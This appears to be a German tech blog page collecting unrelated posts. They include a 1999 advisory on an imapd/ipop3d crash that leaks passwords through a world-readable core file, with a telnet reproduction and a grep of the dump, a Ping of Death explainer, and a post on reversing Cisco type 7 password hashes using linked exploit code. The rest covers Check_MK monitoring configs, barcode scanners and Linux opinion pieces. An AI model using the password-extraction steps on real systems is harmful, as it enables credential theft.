Sicherheitslücke in Linux/Unix

Informationsquelle: Vision Crew Stuttgart
(c) 1999 by MerLinVC
Herausgefunden durch: Test für Kunde (Nr-19828)

Sicherheitsprobleme bei imapd und ipop3d
Betriebssystem Unix / Linux Slackware 3.4 mit installiertem pine-Paket
Software /usr/sbin/imapd bzw. /usr/sbin/ipop3d
Angriffe Auslesen von Paßwörtern
Stichworte Pufferüberlauf, Paßwörter
Datum 01.02.1999

Die beiden Dämonen imapd und ipop3d nehmen Anfragen von Clients entgegen
und versorgen diese mit den angekommenen E-mails im POP3- bzw. IMAP-Standard.
Dazu warten dieProgramme an den Ports 143 (imapd) und 110 (pop3d). (mac)

Problem
Bei einem Anmeldeversuch mit unbekanntem User über Telnet direkt an den beiden Ports stürzen die Programme mit einem Coredump ab. In der Datei /core, die für Jedermannlesbar ist, stehen diverse Paßwörter verschlüsselt oder im Klartext.;)] Jeder User mit lokalem Account kann Paßwörter direkt auslesen bzw. in den Besitz von Shadow-Paßwörtern gelangen und diese ggf. mit einem Paßwortcracker entschlüsseln.

Empfehlung
Als Workaround sollten die beiden Dämonen deaktiviert werden. Patches sind nicht verfügbar.

Information
Folgendes Beispiel demonstriert den Bug. [root@koek] /# telnet zopie 110

Trying 10.10.13.1…
Connected to zopie.attic.vuurwerk.nl.
Escape character is ‚^]‘.
+OK zopie.attic.vuurwerk.nl POP3 3.3(20) w/IMAP2 client (Comments to MRC@CAC.Washington.EDU)
at Sun, 1 Feb 1998 23:45:06 +0100 (CET)
user root
+OK User name accepted, password please
pass linux
[this is not the correct password]
-ERR Bad login
user john
[i have no user named john]
+OK User name accepted, password please
pass doe
Connection closed by foreign host.

At this point ipop3d coredumps in /core:

[root@zopie] /# strings core | grep -A3 root
root

[crypted pw here]

10244

Sun Feb 1 23:45:15 1998

Hacker’s Black Book – Die Wahrheit

Nicht’s ahnend begab ich mich auch diesen Abend wieder in die unendlichen Weiten der globalen Vernetzung, des unglaublichen Angebots an Informationen. Es dauerte nicht lange, bis ich über ein wahrhaft interessant aussehendes Banner stolperte … „Hacker’s Black Book“.

Was ? Schon wieder irgendwelche Exploits ? Nein … diesmal war es sogar ein richtiges Buch mit hartem Umschlag. Nun … dies konnte man jedenfalls vom Bild her entnehmen. Die Anzeige war natürlich gigantisch … „Die besten Hacker der Szene berichten … der legendäre Report ist fertig …“ Von diesem Satz angezogen, um doch mal einfach reinzuschauen, laß ich mir die weiteren Sachen durch … „Zugang zu unzählig vielen Hacker-Programmen … blablabla.“ Nur warme Luft, wie sich später rausstellte. Aber da meine Neugier meinen Verstand bezwang, bestellte ich es mal einfach so *lol* … der größte Fehler, den ich seit *grübel* 2 Jahren begangen habe. Nun … nach 3 Tagen war es dann angekommen … und ich wunderte mich, denn … Sollte es nicht ein Buch sein ? Ja, eigentlich schon … aber das einzigste was in den mageren Umschlag steckte, war ein dünnes, schlecht gestaltetes, mit ekelhafter roter Farbe übermaltes HEFTCHEN mit … stolzen 20 Seiten „richtigen“ Inhalt. Wow … ich weigere mich die anderen 7 Seiten noch dazu zu zählen, da dies nur Geschwalle ist, und nicht mal gelungen !

Nun … geschockt von diesem … Ding … schüttelte ich meinen Kopf, und öffnete es vorsichtig.

Nachdem ich alles schnell überflogen habe merke ich es … oh mein Gott … WAS WAR DENN DAS FÜR EIN BLÖDSINN ? Ich lese mir ein paar Artikel genauer durch, wobei ich bemerken muss, daß sie sehr schlecht geschrieben sind, und stelle mit Bedauern fest :

Ca. 70 % dieses Heftchens beschäftigt sich mit Passwörtern von Pay-Sites ! Ein wirklich anödendes Thema … und wenn sich der Autor ( falls es einen gibt, und dieses Heft nicht einfach aus Artikeln zusammengestellt worden ist ! ) solch eine Vorstellung unter einem „Hacker“ macht, dann ist dies sehr bedauerlich. Ich meine … ich wollte dieses HEFT objektiv bewerten, was ich auch tat : Es ist GRAUENHAFT ! Einfach nur UNNÖTIG ! Und so mögt gewarnt sein, denn 38 DM nur für ein albernes Heft auszugeben ist wahrhaft unnötig, das mußte ich leider feststellen.

Das Hacker’s Black Book ist der reinste Müll ! ( Jaja, meine Objektivität *g* )

In diesem Sinne …

SilverSurfer

Ping of Death

Ein Ping of Death ist im Prinzip nur eine weitere DoS-Attacke, also eine „Denial of Service“-Attacke. Solch eine Attacke ist im wesentlichen nur dazu da, um einen bestimmten Service eines Servers, oder manchmal auch den ganzen Server zu „zerstören“ bzw. crashen zu lassen.
Um solche Attacken jedoch zu verstehen, benötigt man ein wenig Grundwissen über TCP/IP: Das TCP/IP Protokoll kommuniziert im großen und ganzen mit Daten-Paketen. In dem Teil, wo TCP/IP die Pakete für den Transport verkleinert, schlichen sich nun Fehler ein. So ist praktisch fast jeder Betriebssystem Kernel von diesem Problem betroffen.
Die maximale Größe für solch ein Paket liegt bei 65.535 bytes. Der IP-Header (Der Teil, wo Beschreibungen/Daten um das Paket gespeichert werden) ist normalerweise 20 byte groß. Das wären dann noch 65515 bytes für die eigentlichen Daten.
Aufgrund dessen, kamen viele Leute auf interessante Ideen, diese „Fehler“ auszunutzen (Meist böswillig). Nehmen wir an man hat 65515 bytes Platz für seine Daten, so gibt es jedoch Programme, die mehr als diese Zahl erlauben. 65520 bytes beispielsweise. Wenn nun der IP-Header dazu kommt, wird die maximale Größe für ein Paket überschritten. Das TCP/IP Protokoll jedoch zerlegt das Paket in mehrere kleine und schickt sie ab. Der Host, der die Pakte erhält wartet nun bis alle Pakete drüben sind, und startet diese zusammen zu setzen. Wenn dies geschehen ist, bemerkt der Computer, das die max. Paketgröße überschritten wurde.
Das Resultat: Der Computer schmiert ab!!!
stevoberg

Informatik Klasse 9-10!!! „Gymnasiale Mittelstufe“

Hallo alle miteinander!
Da ich momentan in die 10. Klasse eines Gymnasiums gehe, werde ich ein wenig vom Schulalltag, speziell dem Fach Informatik berichten! Wenn man das Fach Informatik gegen Ende der 8. Klasse wählt, so war es bei mir zumindest, freut man sich: „Oh toll, endlich lerne ich auch mal wie der ganze Bullshit funktioniert, den ich die ganze Zeit zu Hause programmiere!“
„Nix da!“, dachte sich wohl der Lehrer, als er uns zärtlich in die *Programmiersprache* „LOGO“ einwies! KENNT JEMAND LOGO? Hoffentlich nicht. Nunja, ich freute mich auf Pascal, Delphi und C++. Für alle, die solche Programmiersprachen kennen, LOGO aber nicht, werde ich kurz das Grundprinzip dessen erklären.
1998: Man startet im Informatikraum seinen überaus modernen 386 DX/25 MHz. Man sieht MS-DOS 6.0 booten und fragt sich: „Was ist daran nur falsch?“. Spätestens nachdem man dann Windows 3.1 gestartet hat, wünscht man sich, man wäre zu Hause am heimischen LINUX-PC (hähä). Naja wie auch immer. Logo ist ein Windows-Progrämmchen, welches dir einen Pfeil auf weißem Hintergrund auf der sogenannten „Grafikseite“ zeigt. Ziel darin besteht, nach Ansicht des Lehrers, schöne Grafiken zu zeichnen und nicht darin, mittels PING den Server zu flooden! (Ansichtssache). Tippt man Beispielsweise in das „Textfenster“ (direkt unter der „Grafikseite“) VW 100 bewegt sich der Pfeil, auch Igel genannt, um 100 Igelschrittchen nach vorne. Dieser zeichnet auch prompt einen wunderbar geraden, schwarzen Strich. Was soll man dabei lernen? Logisches Denken? Bei einem IQ von 135?
Wie dem auch sei, mittlerweile zieren unsere Informatiktische neue PCs. AMD K6/2 300 MHz. -Welch eine Wohltat-. Und was machen wir mit diesen wunderbaren NT-Rechnern (64MByte RAM)? Na was wohl? LOGO!!!
Meine Meinung: Sagt dem DÜMMLER-Verlag mal kräftig Bescheid wie unnütze dieses Programm ist!
stevoberg

Linux: Der Durchbruch ist wohl nicht mehr Aufzuhalten!!!

Dank des erfolgreichen „Die Kathedrale und der Basar“ Konzepts, welches viele Programmierer Anfangs für absoluten Schwachsinn hielten, ist Linux heute zu einem der meistbenutzten Betriebssysteme im Bereich von Web-Servern, sowie FTP-Servern und ähnliches geworden.
Aber nicht nur im professionellen Bereich der Web-Gestaltung findet man Linux. Nein, mehr und mehr, hält Linux auch bei Desktop Computern ein. Denkt man an Sachen wie KDE oder GNOME, kann man Windows schnell vergessen. Der klare „Vorzug“ liegt nicht zuletzt an den unendlich großen Möglichkeiten Linux, speziell das X-Window-System zu konfigurieren und zu individualisieren.
Als Argument gegen Linux gab es bisher immer viele: „Wie soll ich einen Brief schreiben?“, „Das ist doch viel zu schwer zu installieren!“ und „Da gibts ja keine Spiele“! Zugegeben, Spieler gehören nicht unbedingt zu Linux, obwohl Quake 3 Battle Arena für Linux erhältlich ist, aber noch nicht für Windows. Das Argument „Wie soll ich Briefe schreiben“, zählt nun spätestens seit Star Office 5.0 nicht mehr. Was die Installation angeht, versuchen Firmen diese so angenehm wie möglich zu gestalten! SuSE, Redhat, Caldera haben auch schon gute Resultate geliefert. Das ganze wäre dann nur noch eine Frage des persönlichen Geschmacks!
Im Bereich der professionellen Applikationen tut sich zur Zeit auch ’ne ganze Menge: Corel beispielsweise portierte WordPerfect 8 und will das gesamte Corel Draw Paket noch nachschicken!!! Und selbst richtige Bombem werden portiert: SAP plant seine marktführende DV-Software R/3 für Linux auszuliefern. Auf der CeBIT wurde R/3 bereits demonstriert. Und auch R/3 Konkurrenz Oracle will nachziehen.
Aber zuletzt natürlich nicht zu verachtendes und vor allen Dingen starkes Argument, tut sich der Preis. Bezahle 50 DM und du hast ein Betriebssystem. Ein Betriebssystem, das du verändern, umprogrammieren und danach noch vergeben darfst. Linux wird halt nach der GPL vertrieben. Die GNU Public License!

Fazit: Es lebe das freie UNIX!

stevoberg

Cisco Hash Typ 7 Passwort knacken

Die nach dem Cisco proprietären Typ 7 generierten Hash-Werte auf Cisco Devices kann man zurückrechnen.
Dazu findet man viele Webseiten, die das erledigen.
Bsp.:
http://packetlife.net/toolbox/type7/

Da man nie genau weiß, was mit den eingegebenen Daten geschieht, kann man auch den Algorithmus direkt nutzen.
Hierzu wurde auf insecure.org der Quellcode eines entsprechenden Exploits veröffentlicht:
http://insecure.org/sploits/cisco.passwords.html

Exkurs Dev-Cpp:
Download über sourceforge.net (in diesem die Windows Version):
http://sourceforge.net/projects/orwelldevcpp/

Dann die Software installieren und ein neues Projekt starten (bitte Konsolenanwendung und C auswählen).

Dann kann der Quelltext von insecure.org auch schon reinkopiert werden.

Große Probleme hatte ich mir der bzero-Funktion im Windows Dev-C++.
Ich konnte diese nicht in der string.h finden.

Im Internet habe ich einen Trick gefunden ein Makro für bzero zu definieren:

„Cisco Hash Typ 7 Passwort knacken“ weiterlesen

Check_MK Plugin zum Abfragen des Cleaning Status von Bandlaufwerken in Dell ML6000 u.ä.

Anhand des Tutorials auf der Check_MK-Seite (https://mathias-kettner.de/checkmk_devel_snmpbased.html) habe ich ein kleines Plugin geschrieben, mit dem man den Cleaning Status der Bandlaufwerke in einer Dell ML6000 Bandbibliothek per SNMP abfragen kann.

Das Plugin habe ich im local-Zweig der OMD-Site unter „~/local/share/check_mk/checks“ abgelegt.

Hier der Code:

def inventory_backupdriveclean(info):
  inventory = []
  for cleaning in info:
    inventory.append ( ( None, None ) )
  return inventory

def check_backupdriveclean(item, params, info):
  cleaning = int(info[0][0])
  if cleaning  == 2:
    return (0, „OK Cleaning not required“ )
  else:
    return (2, „CRITICAL Cleaning required“ )

check_info[„backupdriveclean“] = (check_backupdriveclean, „backupdriveclean“, 0, inventory_backupdriveclean)

snmp_info[„backupdriveclean“] = ( „.1.3.6.1.4.1.3764.1.10.10.11.3.1.12“, [ „1“ ] )

Check_MK Konfiguration main.mk

Als Betriebssystem für das Monitoring System wird aktuell ein SuSE Linux Enterprise Server 11 eingesetzt. Weiter stützt sich das System dann auf die Open Monitoring Distribution OMD, die auch die Check_MK Installation beinhaltet. Auf der Homepage gibt es auch Installationspakete für weitere Linux-Distributionen:

Open Monitoring Distribution – http://omdistro.org
Check_MK – https://mathias-kettner.de/check_mk.html

Hier zeige ich eine Check_MK Konfigurationsdatei main.mk. Diese stammt aus einem Monitoringsystem, wurde aber um einige Hosts gekürzt. Auch wurden Hostnamen und IP-Adressen durch „fiktive“ Werte ersetzt. Dadurch kann es sein, dass darauffolgende Definitionen mal auf einen nicht existenten Host zeigen. Aber als Beispiel für eigene Konfigurationen kann es genutzt werden.

all_hosts

In diesem Abschnitt werden die zu überwachenden Hosts eingetragen. Damit die Abfrage richtig funktioniert, müssen die angegebenen Hostnamen auflösbar sein.
Auch können an die Hostnamen getrennt durch das Pipe-Zeichen „|“ Tags definiert werden, die in weiteren Definitionen verwendet werden können.

all_hosts = [ ’srvvmnagios‘,              \
  ’srv1|windows-tag‘,                     \
  ’sap1|windows-tag|sap‘,                 \
  ’srv2|backup|windows-tag‘,              \
  ’srv3|windows-tag|web-tag‘,             \
  ’srv4|windows-tag|citrix‘,              \
  ’srv5|windows-tag|sometag‘,             \
  ’srv6|ping‘,                            \
  ’srv7|windows-tag|owntag‘,              \
  ‚www.google.de|ping‘,                   \
  ’srv8|ping|web-tag‘,                    \
  ’srv9|vmware-tag‘,                      \
  ’switch1|snmp-switch|snmp‘,             \
  ’switch2|snmp-switch|snmp|nobulk‘,      \
  ‚192.168.209.38|snmp-lom|snmp|ILO‘,     \
  ‚192.168.108.53|snmp|snmp-backup-tag‘ , \
  ‚192.168.108.52|snmp‘ ,                 \
  ‚client1|ping‘ ]

Native Nagios Konfigurationsoptionen beeinflussen

Mit der Variable extra_host_conf können native Nagios Optionen beeinflusst werden und z.B. an per Tag gruppierte Hosts oder gar all_hosts übergeben werden.

Die Timeperiod GoodForSleep habe ich über die Nagios Konfiguration ~/etc/nagios/conf.d/timeperiods.cfg eingerichtet.

extra_host_conf[„notification_interval“] = [ ( „0“, ALL_HOSTS ) ]
extra_host_conf[„notification_period“] = [ ( „GoodForSleep“, ALL_HOSTS ) ]
extra_service_conf[„notification_interval“] = [ ( „0“, ALL_HOSTS, ALL_SERVICES ) ]
extra_service_conf[„contact_groups“] = [ ( „admins“, ALL_HOSTS, ALL_SERVICES ) ]
extra_service_conf[„notification_period“] = [ ( „GoodForSleep“, ALL_HOSTS, ALL_SERVICES ) ]

#Auszug der Nagios Konfig timeperiods.cfg
define timeperiod{
timeperiod_name GoodForSleep
alias Only Good For Sleep
sunday 06:00-22:00
monday 06:00-22:00
tuesday 06:00-22:00
wednesday 06:00-22:00
thursday 06:00-22:00
friday 06:00-22:00
saturday 06:00-22:00
}

„Check_MK Konfiguration main.mk“ weiterlesen

Know How zu Barcode Scanner

Hier kommen nur einige kurze Notizen, die aber vielleicht viel Zeit sparen können.

Alphanumerische Barcodes

Im Laborumfeld bin ich mal darauf gestoßen, dass beim Abscannen von Patienten-Etiketten auf den Blutröhren Fehler passierten. Entgegen anderer Kunden, gab es hier die Spezialität, dass alphanumerische Barcodes genutzt wurde und nicht nur numerische. Bei allen aufgezeigten problematischen Barcode fiel auf, dass jeweils ein „Z“ oder ein „Y“ im Barcode vorhanden war. Der Barcode-Scanner war als Keyboard-Barcodescanner am PC angeschlossen. Leider war die Spracheinstellung auf Englisch gestellt, sodass die Buchstaben „Z“ und „Y“ vertauscht wurden. Nach Korrektur der Spracheinstellungen funktionierte das Barcodescannen ordnungsgemäß.

Stromversorgung

Ein weiteres zeitraubendes Problem kann die korrekte Stromversorgung von Barcode-Scannern bzw. aller angeschlossener USB-Peripherie sein. Bei nur sporadischen möglichen Betrieb von Barcode-Scannern sollte die Anschlussposition der USB-Anschlüsse geprüft werden, sodass der Barcode-Scanner an einem der ersten Ports genügend Strom bekommt. Zum Beispiel kann man dann die Maus etwas weiter hinten/unten anschließen. Im Zweifelsfall kann auch auf einen aktiven USB-Hub zurückgegriffen werden, der die konstante Stromversorgung für die USB-Geräte übernimmt.

Performance Probleme durch Hardware Interrupts Windows 2003 in VMware ESX 5.5

Bei einem Server für ein Dienstplanungsprogramm stellte sich vor einigen Tagen ein massives Performance Problem ein. Ich vermute, dass jemand etwas an der virtuellen Hardware durchgeführt hat. Konnte aber keine weiteren Informationen dazu erhalten. Vielleicht gab es ein VMware-Tools Update etc. Leider konnte ich mich aus Zeitgründen nicht weiter damit befassen, da es für mich für nur noch um die Lösung des Problems ging.

Auffällig war, dass die Datenträgerwarteschlange im Perfomance Monitor von Windows sehr hoch war.

Weiter fiel mir auf, dass der Taskmanager permanent 100% CPU Last anzeigte, jedoch die Addition der CPU-Last der laufenden Prozesse max. auf 80% CPU-Last kamen.

Darauf hin habe ich mir die Sache mit dem Process Explorer angesehen.

„Performance Probleme durch Hardware Interrupts Windows 2003 in VMware ESX 5.5“ weiterlesen